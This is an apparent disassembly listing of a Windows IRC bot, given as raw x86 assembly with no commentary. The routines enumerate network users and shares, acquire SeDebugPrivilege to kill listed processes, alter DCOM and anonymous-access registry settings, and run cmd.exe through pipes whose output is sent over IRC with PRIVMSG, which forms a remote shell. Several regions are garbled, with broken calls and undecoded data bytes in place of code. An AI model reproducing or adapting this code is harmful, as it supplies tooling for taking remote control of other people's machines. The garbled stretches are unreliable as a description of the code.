cmp eax, 0EAh jz short loc_419C08 push eax push eax call sub_419CE8 pop ecx push eax lea eax, [ebp+var_218] push offset unk_4415F8 push eax call sub_41BF36 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 24h jmp short loc_419C83 ; --------------------------------------------------------------------------- loc_419C08: ; CODE XREF: sub_419B68+62j ; sub_419B68+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_419C96 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_419C83 loc_419C1A: ; CODE XREF: sub_419B68+EDj cmp edi, esi jz short loc_419C59 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_6 ; " %S" push eax call sub_41BF36 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419C1A jmp short loc_419C83 ; --------------------------------------------------------------------------- loc_419C59: ; CODE XREF: sub_419B68+B4j lea eax, [ebp+var_218] push offset unk_4415C4 push eax call sub_41BF36 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 1Ch loc_419C83: ; CODE XREF: sub_419B68+9Ej ; sub_419B68+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_419C96 push edi call dword_4D1280 xor edi, edi mov [ebp+var_4], edi loc_419C96: ; CODE XREF: sub_419B68+A5j ; sub_419B68+120j cmp [ebp+var_C], 0EAh jz loc_419BA7 cmp edi, esi jz short loc_419CAE push edi call dword_4D1280 loc_419CAE: ; CODE XREF: sub_419B68+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41BF36 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_419B68 endp ; =============== S U B R O U T I N E ======================================= sub_419CE8 proc near ; CODE XREF: sub_41933E+41p ; sub_419533+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419D9A jz loc_419D93 cmp eax, 7Bh ja short loc_419D5F jz short loc_419D55 cmp eax, 5 jz short loc_419D4B cmp eax, 8 jz short loc_419D41 cmp eax, 32h jz short loc_419D37 cmp eax, 35h jz short loc_419D2D cmp eax, 57h jnz loc_419DE9 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419E0A ; --------------------------------------------------------------------------- loc_419D2D: ; CODE XREF: sub_419CE8+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419E0A ; --------------------------------------------------------------------------- loc_419D37: ; CODE XREF: sub_419CE8+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419E0A ; --------------------------------------------------------------------------- loc_419D41: ; CODE XREF: sub_419CE8+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419E0A ; --------------------------------------------------------------------------- loc_419D4B: ; CODE XREF: sub_419CE8+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419E0A ; --------------------------------------------------------------------------- loc_419D55: ; CODE XREF: sub_419CE8+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419E0A ; --------------------------------------------------------------------------- loc_419D5F: ; CODE XREF: sub_419CE8+1Aj sub eax, 7Ch jz short loc_419D8C sub eax, 7C8h jz short loc_419D85 dec eax jz short loc_419D7B dec eax jnz short loc_419DE9 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419E0A ; --------------------------------------------------------------------------- loc_419D7B: ; CODE XREF: sub_419CE8+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419E0A ; --------------------------------------------------------------------------- loc_419D85: ; CODE XREF: sub_419CE8+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419E0A ; --------------------------------------------------------------------------- loc_419D8C: ; CODE XREF: sub_419CE8+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419E0A ; --------------------------------------------------------------------------- loc_419D93: ; CODE XREF: sub_419CE8+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419E0A ; --------------------------------------------------------------------------- loc_419D9A: ; CODE XREF: sub_419CE8+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419DD3 jz short loc_419DCC sub eax, 8ADh jz short loc_419DFE dec eax dec eax jz short loc_419DC5 dec eax jz short loc_419DBE dec eax dec eax jnz short loc_419DE9 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419E0A ; --------------------------------------------------------------------------- loc_419DBE: ; CODE XREF: sub_419CE8+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419E0A ; --------------------------------------------------------------------------- loc_419DC5: ; CODE XREF: sub_419CE8+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419E0A ; --------------------------------------------------------------------------- loc_419DCC: ; CODE XREF: sub_419CE8+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419E0A ; --------------------------------------------------------------------------- loc_419DD3: ; CODE XREF: sub_419CE8+B9j sub eax, 8CAh jz short loc_419E05 sub eax, 17h jz short loc_419DFE sub eax, 25h jz short loc_419DF7 sub eax, 29h jz short loc_419DF0 loc_419DE9: ; CODE XREF: sub_419CE8+35j ; sub_419CE8+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419E0A ; --------------------------------------------------------------------------- loc_419DF0: ; CODE XREF: sub_419CE8+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419E0A ; --------------------------------------------------------------------------- loc_419DF7: ; CODE XREF: sub_419CE8+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419E0A ; --------------------------------------------------------------------------- loc_419DFE: ; CODE XREF: sub_419CE8+C2j ; sub_419CE8+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419E0A ; --------------------------------------------------------------------------- loc_419E05: ; CODE XREF: sub_419CE8+F0j push offset aNetworkConnect ; "Network connection not found." loc_419E0A: ; CODE XREF: sub_419CE8+40j ; sub_419CE8+4Aj ... push offset dword_4E0E10 call sub_41BF36 pop ecx mov eax, offset dword_4E0E10 pop ecx retn sub_419CE8 endp ; --------------------------------------------------------------------------- loc_419E1C: ; CODE XREF: .nsp0:004061C3p push ebp mov ebp, esp sub esp, 718h push esi push 200h push dword ptr [ebp+8] lea eax, [ebp-718h] push eax call sub_41DF04 add esp, 0Ch lea eax, [ebp+8] mov esi, 108h push eax lea eax, [ebp-108h] push eax mov [ebp+8], esi call near ptr 0B40000h sbb al, 8Dh test edi, eax ; --------------------------------------------------------------------------- db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- push esi push eax lea eax, [ebp-318h] push eax call sub_41DF04 lea eax, [ebp-718h] push eax call sub_41DEE7 add esp, 10h shl eax, 1 push eax lea eax, [ebp-718h] push eax lea eax, [ebp-318h] push 0 push eax push 0 call dword_4D1200 test eax, eax jnz short loc_419EAC mov esi, offset dword_4E0C0C push offset unk_44192C push esi call sub_41BF36 pop ecx pop ecx jmp short loc_419ED5 ; --------------------------------------------------------------------------- loc_419EAC: ; CODE XREF: .nsp0:00419E96j lea ecx, [ebp-718h] push ecx lea ecx, [ebp-318h] push ecx push eax call sub_419CE8 pop ecx mov esi, offset dword_4E0C0C push eax push offset dword_441900 push esi call sub_41BF36 add esp, 14h loc_419ED5: ; CODE XREF: .nsp0:00419EAAj mov eax, esi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419EDA proc near ; CODE XREF: sub_417517+45p ; sub_417517+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 0B40000h xchg eax, edx push eax call dword_4D11D4 ; OpenProcessToken test eax, eax jnz short loc_419EF9 leave retn ; --------------------------------------------------------------------------- loc_419EF9: ; CODE XREF: sub_419EDA+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4D11AC ; LookupPrivilegeValueA test eax, eax jz short loc_419F37 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419F20 or [ebp+var_8], 2 jmp short loc_419F24 ; --------------------------------------------------------------------------- loc_419F20: ; CODE XREF: sub_419EDA+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419F24: ; CODE XREF: sub_419EDA+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4D125C ; AdjustTokenPrivileges mov esi, eax loc_419F37: ; CODE XREF: sub_419EDA+32j push [ebp+var_4] call dword_42706C ; CloseHandle mov eax, esi pop esi leave retn sub_419EDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F45 proc near ; CODE XREF: .nsp0:00409352p ; sub_41A174+74p ... var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4D1210, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_41A144 cmp dword_4D11F4, ebx jz loc_41A144 cmp dword_4D1104, ebx jz loc_41A144 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419EDA pop ecx pop ecx push ebx push 0Fh call dword_4D1210 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_41A137 lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4D11F4 ; Process32First mov esi, dword_42706C test eax, eax jz loc_41A132 lea eax, [ebp+var_130] push eax push edi call dword_4D1104 ; Process32Next test eax, eax jz loc_41A132 mov edi, dword_427084 mov ebx, 1F0FFFh loc_41A009: ; CODE XREF: sub_419F45+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_41A070 mov [ebp+var_4], offset off_441958 loc_41A017: ; CODE XREF: sub_419F45+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call dword_427188 ; lstrcmpiA test eax, eax jz short loc_41A03F add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_4419B8 jl short loc_41A017 jmp loc_41A118 ; --------------------------------------------------------------------------- loc_41A03F: ; CODE XREF: sub_419F45+E6j push [ebp+var_128] push 0 push ebx call edi ; dword_427084 test eax, eax mov [ebp+var_4], eax jz loc_41A118 push 0 push eax call near ptr 0B40000h push ss test eax, eax jnz loc_41A118 loc_41A066: ; CODE XREF: sub_419F45+1B9j push [ebp+var_4] call esi ; dword_42706C jmp loc_41A118 ; --------------------------------------------------------------------------- loc_41A070: ; CODE XREF: sub_419F45+C9j cmp [ebp+arg_C], eax jnz loc_41A103 cmp [ebp+arg_4], eax jz loc_41A118 push [ebp+var_128] push 8 call dword_4D1210 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41A0C3 lea ecx, [ebp+var_354] push ecx push eax call dword_4D10B0 ; Module32First push [ebp+var_128] test eax, eax jz short loc_41A0C9 lea eax, [ebp+var_234] jmp short loc_41A0CF ; --------------------------------------------------------------------------- loc_41A0C3: ; CODE XREF: sub_419F45+15Cj push [ebp+var_128] loc_41A0C9: ; CODE XREF: sub_419F45+174j lea eax, [ebp+var_10C] loc_41A0CF: ; CODE XREF: sub_419F45+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41BF36 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h jmp loc_41A066 ; --------------------------------------------------------------------------- loc_41A103: ; CODE XREF: sub_419F45+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_41A14B loc_41A118: ; CODE XREF: sub_419F45+F5j ; sub_419F45+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4D1104 ; Process32Next test eax, eax jnz loc_41A009 xor ebx, ebx loc_41A132: ; CODE XREF: sub_419F45+9Dj ; sub_419F45+B3j push [ebp+var_8] call esi ; dword_42706C loc_41A137: ; CODE XREF: sub_419F45+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419EDA pop ecx pop ecx loc_41A144: ; CODE XREF: sub_419F45+3Aj ; sub_419F45+46j ... xor eax, eax loc_41A146: ; CODE XREF: sub_419F45+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A14B: ; CODE XREF: sub_419F45+1D1j push [ebp+var_128] push 0 push ebx call edi ; dword_427084 push [ebp+var_8] mov edi, eax call esi ; dword_42706C push 0 push edi call near ptr 0B40000h das test eax, eax jnz short loc_41A16F push edi call esi ; dword_42706C jmp short loc_41A144 ; --------------------------------------------------------------------------- loc_41A16F: ; CODE XREF: sub_419F45+223j push 1 pop eax jmp short loc_41A146 sub_419F45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A174 proc near ; DATA XREF: .nsp0:0040419Do var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_441B58 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41BF36 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41A1D3 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_4099D2 add esp, 14h loc_41A1D3: ; CODE XREF: sub_41A174+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419F45 add esp, 18h test eax, eax jnz short loc_41A1FB push offset unk_441B34 jmp short loc_41A200 ; --------------------------------------------------------------------------- loc_41A1FB: ; CODE XREF: sub_41A174+7Ej push offset unk_441B10 loc_41A200: ; CODE XREF: sub_41A174+85j lea eax, [ebp+var_298] push eax call sub_41BF36 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_41A233 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_4099D2 add esp, 14h loc_41A233: ; CODE XREF: sub_41A174+9Dj lea eax, [ebp+var_298] push eax call sub_4157A6 push [ebp+var_14] call sub_40B32A pop ecx pop ecx push esi call near ptr 0B40000h in eax, 5Fh pop esi sub_41A174 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A252 proc near ; CODE XREF: .nsp0:004092F0p ; sub_40B149+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 0B40000h sub ecx, [ebx+74F685F0h] push ss push 0 push esi call near ptr 0B40000h push cs test eax, eax jnz short loc_41A284 push esi xor edi, edi call dword_42706C ; CloseHandle loc_41A284: ; CODE XREF: sub_41A252+27j mov eax, edi pop edi pop esi retn sub_41A252 endp ; --------------------------------------------------------------------------- push esi xor esi, esi loc_41A28C: ; CODE XREF: .nsp0:0041A2A7j push 1 push esi push esi push esi push esi push esi call sub_419F45 add esp, 18h push dword_441954 call dword_427064 ; Sleep jmp short loc_41A28C ; =============== S U B R O U T I N E ======================================= sub_41A2A9 proc near ; CODE XREF: sub_41A311+7Ep ; .nsp0:0041A4F9p mov eax, dword_4E1478 push esi mov esi, dword_42706C cmp eax, 0FFFFFFFFh jz short loc_41A2BD push eax call esi ; dword_42706C loc_41A2BD: ; CODE XREF: sub_41A2A9+Fj mov eax, dword_4E1480 cmp eax, 0FFFFFFFFh jz short loc_41A2CA push eax call esi ; dword_42706C loc_41A2CA: ; CODE XREF: sub_41A2A9+1Cj mov eax, dword_4E1474 cmp eax, 0FFFFFFFFh jz short loc_41A2D7 push eax call esi ; dword_42706C loc_41A2D7: ; CODE XREF: sub_41A2A9+29j pop esi retn sub_41A2A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A2D9 proc near ; CODE XREF: .nsp0:0040901Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B890 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4E147C call near ptr 0B40000h mov dl, 85h sal byte ptr [ebp+arg_0+1], 0E8h mov eax, ds:33FFFFFFh ror cl, 0C3h push 1 pop eax leave retn sub_41A2D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A311 proc near ; CODE XREF: .nsp0:0041A46Bp ; .nsp0:0041A4D6p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_443398 push [ebp+arg_4] call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_41A354 push 7D0h call dword_427064 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41BF36 add esp, 10h jmp short loc_41A36B ; --------------------------------------------------------------------------- loc_41A354: ; CODE XREF: sub_41A311+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_2 ; "%s" push eax call sub_41BF36 add esp, 0Ch loc_41A36B: ; CODE XREF: sub_41A311+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4D1240 ; send test eax, eax jg short loc_41A394 call sub_41A2A9 loc_41A394: ; CODE XREF: sub_41A311+7Cj xor eax, eax leave retn sub_41A311 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4E1484 loc_41A3B0: ; CODE XREF: .nsp0:0041A411j ; .nsp0:0041A473j push esi lea eax, [ebp-20Ch] push edi push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp-4] push edi push edi push eax lea eax, [ebp-20Ch] push esi push eax push dword_4E1478 call near ptr 0B40000h add dword ptr [ebp-647BF040h], 39000000h ; CODE XREF: .nsp0:0041A3E4j jge short near ptr loc_41A3DA+8 jnz short loc_41A413 lea eax, [ebp-8] push eax push dword_4E1474 call near ptr 0B40000h loc_41A3F7: ; CODE XREF: .nsp0:0041A3FDj add al, [ebp-7EF28B40h] jge short loc_41A3F7 add eax, [ecx] ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh ; --------------------------------------------------------------------------- test [ecx+6A000000h], ebx or bh, bh adc eax, offset dword_427064 jmp short loc_41A3B0 ; --------------------------------------------------------------------------- loc_41A413: ; CODE XREF: .nsp0:0041A3E6j xor eax, eax cmp [ebp-4], edi jbe short loc_41A42A loc_41A41A: ; CODE XREF: .nsp0:0041A428j cmp byte ptr [ebp+eax-20Ch], 0Ah jz short loc_41A478 inc eax cmp eax, [ebp-4] jb short loc_41A41A loc_41A42A: ; CODE XREF: .nsp0:0041A418j mov [ebp-4], esi loc_41A42D: ; CODE XREF: .nsp0:0041A47Cj push esi lea eax, [ebp-20Ch] push edi push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp-0Ch] push edi push eax push dword ptr [ebp-4] lea eax, [ebp-20Ch] push eax push dword_4E1478 call dword_4270E8 ; ReadFile test eax, eax jz short loc_41A4CA lea eax, [ebp-20Ch] push eax push ebx push dword_4E14B8 call sub_41A311 add esp, 0Ch jmp loc_41A3B0 ; --------------------------------------------------------------------------- loc_41A478: ; CODE XREF: .nsp0:0041A422j inc eax mov [ebp-4], eax jmp short loc_41A42D ; --------------------------------------------------------------------------- dw 0E068h dd 5300441Bh, 14B835FFh, 82E8004Eh, 0FFFFFFFEh, 93E80875h dd 83FFFF0Eh, 16A10C4h, 725B5FE8h, 2E8CA00h, 68FFFFFEh dd 441BB8h, 0B835FF53h, 0E8004E14h, 0FFFFFE59h, 0E80875FFh dd 0FFFF0E6Ah, 5710C483h, 725B37E8h db 0, 93h ; --------------------------------------------------------------------------- loc_41A4CA: ; CODE XREF: .nsp0:0041A45Bj push offset unk_441B88 push ebx push dword_4E14B8 call sub_41A311 push dword ptr [ebp+8] call sub_40B32A add esp, 10h push edi call near ptr 0B40000h loc_41A4EC: ; CODE XREF: .nsp0:00403FCFp mov bh, 55h mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_41A2A9 xor esi, esi lea eax, [ebp-178h] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_4D12AC ; SearchPathA test eax, eax jz near ptr loc_41A5E2+5 push 1 lea eax, [ebp-1Ch] pop ebx mov edi, dword_427100 push esi push eax lea eax, [ebp-0Ch] mov dword ptr [ebp-1Ch], 0Ch push eax lea eax, [ebp-10h] push eax mov [ebp-14h], ebx mov [ebp-18h], esi call edi ; dword_427100 test eax, eax jz near ptr loc_41A5E2+5 lea eax, [ebp-1Ch] push esi push eax lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax call edi ; dword_427100 test eax, eax jz near ptr loc_41A5E2+5 mov edi, dword_4270FC push 3 push esi push esi push offset dword_4E147C call edi ; dword_4270FC push eax push dword ptr [ebp-8] call edi ; dword_4270FC push eax call near ptr 0B40000h cmpsd test eax, eax jz short near ptr loc_41A5E2+5 push 10h lea eax, [ebp-2Ch] push esi push eax call sub_41BC40 push 44h lea eax, [ebp-74h] pop edi push edi push esi push eax call sub_41BC40 mov eax, [ebp-4] add esp, 18h mov [ebp-3Ch], eax mov eax, [ebp-0Ch] mov [ebp-38h], eax mov [ebp-34h], eax lea eax, [ebp-2Ch] mov [ebp-74h], edi push eax lea eax, [ebp-74h] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_443398 push esi lea eax, [ebp-178h] push ebx push eax mov dword ptr [ebp-48h], 101h mov [ebp-44h], si call near ptr 0B40000h loc_41A5E2: ; CODE XREF: .nsp0:0041A51Cj ; .nsp0:0041A549j ... pop dword ptr [ebp-7CF78A40h] enter 0FFFFE9FFh, 0AEh ; --------------------------------------------------------------------------- dd 0FF000000h, 3D8BFC75h, 42706Ch, 458BD7FFh, 0D875FFF0h dd 4E1478A3h, 0F8458B00h, 4E1480A3h, 0D4458B00h, 4E1474A3h dd 8BD7FF00h, 75390845h, 14B8A30Ch, 574004Eh, 0EB0C75FFh dd 84685301h, 0E8004E14h, 1902h, 6A565959h, 1C44680Ah dd 0CBE80044h, 8BFFFF09h, 0DC4D8BF8h, 234FF69h, 0C4830000h dd 288F890Ch, 8D004441h, 5651D04Dh, 0A3986850h, 56560041h dd 707C15FFh, 0C63B0042h, 41348789h, 27750044h, 708C15FFh dd 8D500042h, 0FFFC8885h, 1C1068FFh, 0E8500044h, 18AAh dd 0FC88858Dh, 0E850FFFFh, 0FFFFB10Eh, 3310C483h, 5B5E5FC0h ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6A2 proc near ; DATA XREF: .nsp0:00404902o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A6E9 call sub_41A702 jmp short loc_41A6EE ; --------------------------------------------------------------------------- loc_41A6E9: ; CODE XREF: sub_41A6A2+3Ej call sub_41AA26 loc_41A6EE: ; CODE XREF: sub_41A6A2+45j add esp, 10h push [ebp+var_14] call sub_40B32A pop ecx push 0 call near ptr 0B40000h scasd sub_41A6A2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A702 proc near ; CODE XREF: sub_41A6A2+40p ; .nsp0:0041AD45p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4D12C0, edi jnz loc_41A834 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4D1260 ; RegOpenKeyExA test eax, eax jnz short loc_41A78D mov ax, word_4409E4 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4D1214 ; RegSetValueExA test eax, eax jz short loc_41A76F push offset dword_441EE8 jmp short loc_41A774 ; --------------------------------------------------------------------------- loc_41A76F: ; CODE XREF: sub_41A702+64j push offset dword_441EC8 loc_41A774: ; CODE XREF: sub_41A702+6Bj lea eax, [ebp+var_214] push eax call sub_41BF36 pop ecx pop ecx push [ebp+var_4] call dword_4D11CC ; RegCloseKey jmp short loc_41A7A0 ; --------------------------------------------------------------------------- loc_41A78D: ; CODE XREF: sub_41A702+36j lea eax, [ebp+var_214] push offset dword_441E98 push eax call sub_41BF36 pop ecx pop ecx loc_41A7A0: ; CODE XREF: sub_41A702+89j cmp [ebp+arg_C], edi jnz short loc_41A7BF push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_41A7BF: ; CODE XREF: sub_41A702+A1j lea eax, [ebp+var_214] push eax call sub_4157A6 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4D1260 ; RegOpenKeyExA test eax, eax jnz short loc_41A82D lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4D1214 ; RegSetValueExA test eax, eax jz short loc_41A80F push offset dword_441E48 jmp short loc_41A814 ; --------------------------------------------------------------------------- loc_41A80F: ; CODE XREF: sub_41A702+104j push offset dword_441E14 loc_41A814: ; CODE XREF: sub_41A702+10Bj lea eax, [ebp+var_214] push eax call sub_41BF36 pop ecx pop ecx push [ebp+var_4] call dword_4D11CC ; RegCloseKey jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A82D: ; CODE XREF: sub_41A702+E2j push offset dword_441DD8 jmp short loc_41A839 ; --------------------------------------------------------------------------- loc_41A834: ; CODE XREF: sub_41A702+13j push offset dword_441DA8 loc_41A839: ; CODE XREF: sub_41A702+130j lea eax, [ebp+var_214] push eax call sub_41BF36 pop ecx pop ecx loc_41A847: ; CODE XREF: sub_41A702+129j cmp [ebp+arg_C], edi jnz short loc_41A866 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_41A866: ; CODE XREF: sub_41A702+148j lea eax, [ebp+var_214] push eax call sub_4157A6 cmp dword_4D12E8, edi pop ecx jnz loc_41A9E1 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A889: ; CODE XREF: sub_41A702+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4D1134 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A926 cmp eax, 0EAh jz short loc_41A926 mov esi, offset off_441C70 loc_41A8BA: ; CODE XREF: sub_41A702+21Dj push dword ptr [esi] push edi call sub_419510 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A8D1 push offset dword_441D84 jmp short loc_41A8D6 ; --------------------------------------------------------------------------- loc_41A8D1: ; CODE XREF: sub_41A702+1C6j push offset dword_441D58 loc_41A8D6: ; CODE XREF: sub_41A702+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41C030 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A909 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_41A909: ; CODE XREF: sub_41A702+1EBj lea eax, [ebp+var_214] push eax call sub_4157A6 add esi, 8 pop ecx cmp esi, 